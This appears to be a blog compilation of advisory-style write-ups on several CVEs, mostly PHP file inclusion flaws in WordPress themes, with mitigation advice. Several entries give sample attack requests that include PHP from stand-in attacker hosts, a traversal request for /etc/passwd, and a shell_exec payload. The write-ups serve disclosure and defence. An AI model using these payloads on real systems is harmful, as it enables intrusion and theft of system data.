Author: Ameeba

Overview

The PHP Local File Inclusion vulnerability, designated as CVE-2025-30992, is a critical security flaw found in the Thembay Puca software. This vulnerability is of particular concern due to its potential to facilitate unauthorized access to sensitive data or even a complete system compromise. As the bug originates from an improper control of filename for include/require statement in a PHP program, it presents a significant risk to any system running affected versions of Thembay Puca.

Vulnerability Summary

CVE ID: CVE-2025-30992
Severity: High (8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Thembay Puca | Up to and including 2.6.33

How the Exploit Works

The PHP Remote File Inclusion vulnerability is a type of vulnerability that allows an attacker to inject a remote file into the server via a PHP script. This is possible due to weak validation of the ‘include’ and ‘require’ statements in the script. When improperly handled, these statements can be manipulated to include files from remote servers, which may contain malicious code.
In the case of CVE-2025-30992, the vulnerability lies within Thembay Puca’s improper control of filename for include/require statement, which could be exploited to include arbitrary local files from the server. This could potentially lead to a full system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example demonstrating how an attacker might exploit this vulnerability. This example supposes a malicious actor issuing an HTTP request to a vulnerable endpoint, using a manipulated file path to include a local file:

GET /vulnerable/endpoint?file=../../../../etc/passwd HTTP/1.1
Host: target.example.com

In this example, the attacker attempts to include the ‘/etc/passwd’ file, a crucial system file that contains user account details. If successful, the attacker would have unauthorized access to sensitive data.
Please note that this is a simplified example for illustrative purposes only. Real-world exploits may involve more complex methods and additional steps to bypass security measures.

Overview

The CVE-2025-28998 is a serious security vulnerability detected in the SERPed.net PHP program that may potentially lead to system compromise or data leakage. This vulnerability is based on improper control of filename for Include/Require statement in PHP program, also known as ‘PHP Remote File Inclusion’. This flaw affects a wide range of SERPed.net versions, specifically from n/a through 4.6, and poses a significant threat to the integrity and confidentiality of the affected systems, making this issue crucial to address.

Vulnerability Summary

CVE ID: CVE-2025-28998
Severity: High (8.1 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

SERPed.net | n/a – 4.6

How the Exploit Works

The exploit works by taking advantage of the improper control of filenames in the PHP program’s Include/Require statement. It allows an attacker to include a remote file from an external server, which gets executed in the context of the application. This allows the attacker to execute arbitrary code, potentially leading to full system compromise.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. This HTTP request demonstrates how a malicious payload in the form of a remote file could be included and executed on the server:

GET /vulnerable_page.php?file=http://malicious_server/malicious_file.php HTTP/1.1
Host: target.example.com

In this example, `vulnerable_page.php` is the PHP page that contains the vulnerable Include/Require statement. The `file` parameter is manipulated to include a remote file (`malicious_file.php`) from a malicious server (`malicious_server`). When the request is processed, the malicious file is included and executed on the server.

Mitigation Guidance

To mitigate the vulnerability, the immediate recommendation is to apply the vendor-supplied patch. In the event that a patch isn’t available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. However, these solutions do not completely resolve the vulnerability but rather add an additional layer of security to the system. It is strongly recommended to apply the vendor patch as soon as it becomes available to ensure the integrity and confidentiality of your systems and data.

Overview

The cybersecurity community has identified a critical vulnerability, tagged as CVE-2025-28990, affecting the popular snstheme SNS Vicky. This vulnerability, classified as a PHP Remote File Inclusion, could potentially allow attackers to include files from remote servers, leading to potential system compromise or data leakage. Given the severity and the widespread usage of the SNS Vicky, it is critical for all users and system administrators to understand the nature of this vulnerability, implement necessary mitigation strategies, and stay updated on the latest security patches.

Vulnerability Summary

CVE ID: CVE-2025-28990
Severity: Critical, CVSS Score of 8.1
Attack Vector: Remote
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

snstheme SNS Vicky | n/a through 3.7

How the Exploit Works

The vulnerability lies in the improper control of filename for an include/require statement in the PHP program of SNS Vicky. An attacker can exploit this vulnerability by manipulating the file name in the include/require statement to reference a remotely hosted file. The PHP program then includes the remote file in its execution, potentially leading to execution of arbitrary code, unauthorized access, or information disclosure.

Conceptual Example Code

The following pseudocode illustrates a conceptual example of how the vulnerability might be exploited:

// Malicious user input
$userInput = 'http://malicious.com/shell.php';
// Vulnerable include/require statement
include($userInput);

In this example, instead of specifying a local file, a URL to a malicious file is provided. The PHP program then includes this malicious file in its execution leading to unwanted consequences.

Mitigation Guidance

The best way to mitigate this vulnerability is to apply the security patch provided by the vendor. If the patch is not available or cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can offer a temporary mitigation. Furthermore, it is recommended to sanitize all user inputs and avoid using user input directly in include/require statements to prevent such vulnerabilities.

Overview

The CVE-2025-28947 vulnerability is a critical security flaw that affects the popular MBStore – Digital WooCommerce WordPress Theme. This loophole is a PHP Remote File Inclusion vulnerability that allows for PHP Local File Inclusion, potentially leading to complete system compromise or significant data leakage. Given the popularity of MBStore and its extensive use in building online stores, this vulnerability poses a significant risk to a large number of eCommerce websites.

Vulnerability Summary

CVE ID: CVE-2025-28947
Severity: Critical, with a CVSS Severity Score of 8.1
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

MBStore – Digital WooCommerce WordPress Theme | Up to Version 2.3

How the Exploit Works

The vulnerability lies in the improper control of filename for include/require statement in the PHP program of the MBStore theme. This loophole allows a malicious actor to include files from external servers, which can result in the execution of arbitrary code. The code execution occurs within the context of the application and may allow the attacker to steal sensitive data or gain privileged access to the system.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. The attacker crafts a URL that triggers the vulnerable include/require statement, causing the application to fetch and execute a malicious PHP file hosted on the attacker’s server.

GET /index.php?page=http://attacker.com/malicious_file.php HTTP/1.1
Host: vulnerablewebsite.com

In this example, the “malicious_file.php” could contain code that compromises the system or exfiltrates data.

Mitigation and Patching

To mitigate the risk posed by this vulnerability, it is advised to apply the vendor-supplied patch at the earliest convenience. If the patch cannot be applied immediately, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary measure to help prevent the exploit. Regularly updating and patching your systems can significantly reduce the risk of such vulnerabilities.

Overview

CVE-2025-28946 is a critical vulnerability that exists due to improper control of a filename for the include/require statement in a PHP program. This is also known as a ‘PHP Remote File Inclusion’ vulnerability. It affects the BZOTheme PrintXtore software and versions up to and including 1.7.5 are at risk. This vulnerability is significant due to its high severity score and its potential to compromise systems and lead to data leakage. As PHP is a widely used language for web development, this vulnerability could have widespread implications if not adequately addressed.

Vulnerability Summary

CVE ID: CVE-2025-28946
Severity: High (8.1 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

BZOTheme PrintXtore | Up to and including 1.7.5

How the Exploit Works

The vulnerability arises from the improper control of a filename in the include/require statement of a PHP program. This allows an attacker to remotely include a file from a remote server, which could contain malicious PHP code. Once included and executed, the malicious code can compromise the system and potentially lead to data leakage.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit this vulnerability:

<?php
// Malicious remote file to be included
$evil_file = "http://attacker.com/malicious_file.php";
// Vulnerable include statement
include($evil_file);
?>

In this example, the attacker controls the `$evil_file` variable and sets it to a URL hosting their malicious PHP file. The vulnerable include statement then includes and executes this file, potentially leading to a system compromise.

Mitigation

To mitigate this vulnerability, users are advised to apply the latest patches provided by the vendor. In the absence of a patch, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary protection by detecting and blocking attempts to exploit this vulnerability.
In the long term, developers should practice secure coding to prevent such vulnerabilities. This includes proper input validation, especially for include/require statements, and ensuring that only local files can be included.

Overview

The vulnerability CVE-2025-24769, documented in the Common Vulnerabilities and Exposures database, is an important security issue that affects the BZOTheme Zenny software. This issue, classified as a PHP Remote File Inclusion (RFI) vulnerability, involves an improper control of filename for Include/Require Statement in a PHP Program. This could potentially lead to a system compromise or data leakage, making it a serious concern for all users of the affected Zenny versions. As a cybersecurity professional, understanding this vulnerability and how to protect against it is crucial.

Vulnerability Summary

CVE ID: CVE-2025-24769
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

BZOTheme Zenny | n/a through 1.7.5

How the Exploit Works

The PHP Remote File Inclusion vulnerability in BZOTheme Zenny exists due to improper control of filename for Include/Require Statement in PHP Program. An attacker can manipulate the file path specified in the “include” or “require” statements to reference a remote file, which is then executed in the context of the application. This can lead to unauthorized code execution, potentially compromising the system, or allowing data leakage.

Conceptual Example Code

A conceptual example of how this vulnerability might be exploited could be a PHP script that uses a variable from a user-supplied input to form a path for the “include” statement. If the input is not properly sanitized, an attacker could provide a path to a malicious script hosted on a remote server.

<?php
// The input is taken from the user without any sanitization
$file = $_GET['file'];
// The input is used directly in the include statement
include($file);
?>

In this example, an attacker could send a request like `http://target.example.com/vulnerable.php?file=http://attacker.com/malicious.php`, leading to execution of the malicious script on the target server.

Mitigation

Users of affected versions of BZOTheme Zenny are advised to apply the vendor patch to mitigate this vulnerability. If a patch is not available, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation. However, these are not long-term solutions and updating the software remains the most effective course of action.

Overview

In this post, we are going to delve into a particularly worrying vulnerability that affects the goalthemes Sofass, specifically versions up to 1.3.4. This vulnerability, identified as CVE-2025-24760, allows an attacker to perform PHP Local File Inclusion which can have grave implications for the security of your system. PHP Remote File Inclusion vulnerabilities occur when an application receives a path to a file that should be included and executes it, a dangerous action if the file is malicious. Considering the potential for system compromise or data leakage, understanding this vulnerability is crucial for systems administrators and security personnel alike.

Vulnerability Summary

CVE ID: CVE-2025-24760
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Sofass | Up to 1.3.4

How the Exploit Works

The root cause of this vulnerability is improper control of the filename for the ‘include’ or ‘require’ statement in the PHP program of Sofass. The software does not properly sanitize user-supplied input and thus, an attacker can manipulate the input to load a file from a remote server that contains malicious PHP code. Once this file is loaded and executed, the attacker gains the capability to execute arbitrary commands or scripts in the context of the server’s PHP environment.

Conceptual Example Code

Let’s consider a conceptual example to understand how this vulnerability might be exploited. The steps involve crafting a malicious PHP file, hosting it on a remote server, and then manipulating the ‘include’ or ‘require’ statement in the vulnerable application to load and execute this file.
The contents of a malicious PHP file (malicious_payload.php) might look like this:

<?php
echo shell_exec('cat /etc/passwd');
?>

This file, when executed, would display the contents of the server’s /etc/passwd file, which contains user account information.
The attack would then use a HTTP request to exploit the vulnerability:

GET /index.php?page=http://attacker.com/malicious_payload.php HTTP/1.1
Host: target.example.com

The ‘page’ parameter is manipulated to load the malicious PHP file from the attacker’s server. When the server processes this request, it includes the malicious file and executes the harmful code.

Mitigation

The best way to mitigate this vulnerability is to apply the vendor’s patch. For temporary mitigation, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to monitor and block suspicious activities. Also, it is good practice to sanitize all user-supplied input and limit the use of the ‘include’ or ‘require’ statements to local files only.

Overview

In this post, we will explore the vulnerability CVE-2023-25998, a security issue found within the Samex – Clean, Minimal Shop WooCommerce WordPress Theme. This vulnerability, known as PHP Remote File Inclusion, affects the improper control of filename for the include/require statement in PHP programs. This vulnerability is particularly threatening due to its potential to lead to system compromise or data leakage. Any organization or individual using Samex WooCommerce WordPress Theme from any version up to 2.6 is at risk and should take immediate steps to mitigate the risk.

Vulnerability Summary

CVE ID: CVE-2023-25998
Severity: High (8.1, CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Samex – Clean, Minimal Shop WooCommerce WordPress Theme | Up to 2.6

How the Exploit Works

The vulnerability lies in the improper control of filename for include/require statement in PHP programs within the Samex WooCommerce WordPress Theme. In a typical PHP Remote File Inclusion (RFI) attack, an attacker might manipulate a PHP script to include a remote file with malicious code. This allows the attacker to execute the malicious code on the server. The execution could potentially compromise the system and lead to data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited:

GET /index.php?file=http://attacker.com/malicious_code.txt HTTP/1.1
Host: vulnerable-website.com

In this example, the GET request is used to retrieve a PHP file from the server. If the server is vulnerable to PHP RFI, the attacker can supply a URL (`http://attacker.com/malicious_code.txt`) in place of a local file. If the server processes this request, it will include the remote file, which could contain malicious code. This code would then be executed on the server, potentially resulting in a system compromise or data leakage.

Recommended Mitigation

To mitigate this vulnerability, users are advised to apply the vendor patch as soon as it becomes available. In the meantime, users can use Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) as a temporary mitigation strategy. Regular updates and careful monitoring of the system can help prevent potential exploits.

Overview

The CVE-2025-52818 vulnerability is a critical security flaw discovered in the Trusty Whistleblowing software. This vulnerability is of particular concern for all users of Trusty Whistleblowing, as it allows attackers to exploit incorrectly configured access control security levels, potentially leading to system compromise or data leakage. As an application meant to facilitate secure and anonymous reporting of misconduct within an organization, Trusty Whistleblowing is often privy to sensitive company information. Therefore, any vulnerability in this application should be taken quite seriously.

Vulnerability Summary

CVE ID: CVE-2025-52818
Severity: High (8.2 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Trusty Whistleblowing | n/a – 1.5.2

How the Exploit Works

The vulnerability exists due to insufficient authorization mechanisms in the Trusty Whistleblowing software. Essentially, the software fails to properly validate and enforce access controls on certain resources, which could be exploited by an attacker to gain unauthorized access to sensitive information or even to compromise the entire system. This is particularly risky given the nature of the information typically stored and processed by Trusty Whistleblowing.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited. The attacker sends a specially crafted HTTP request to a vulnerable endpoint in the Trusty Whistleblowing application:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "{ 'action': 'dump_all_data' }" }

In this hypothetical example, the “malicious_payload” is a command instructing the Trusty Whistleblowing software to dump all data it has stored. Due to the missing authorization vulnerability, the application would fail to properly validate that the request came from an authorized source and execute the malicious command.

How to Mitigate the Vulnerability

To mitigate this vulnerability, users of Trusty Whistleblowing should apply the vendor-supplied patch as soon as possible. This patch addresses the missing authorization issue and ensures proper access control is enforced. In the absence of a viable patch, users can implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. These systems can help detect and block malicious requests targeting the vulnerability, providing a layer of security until the official patch can be applied.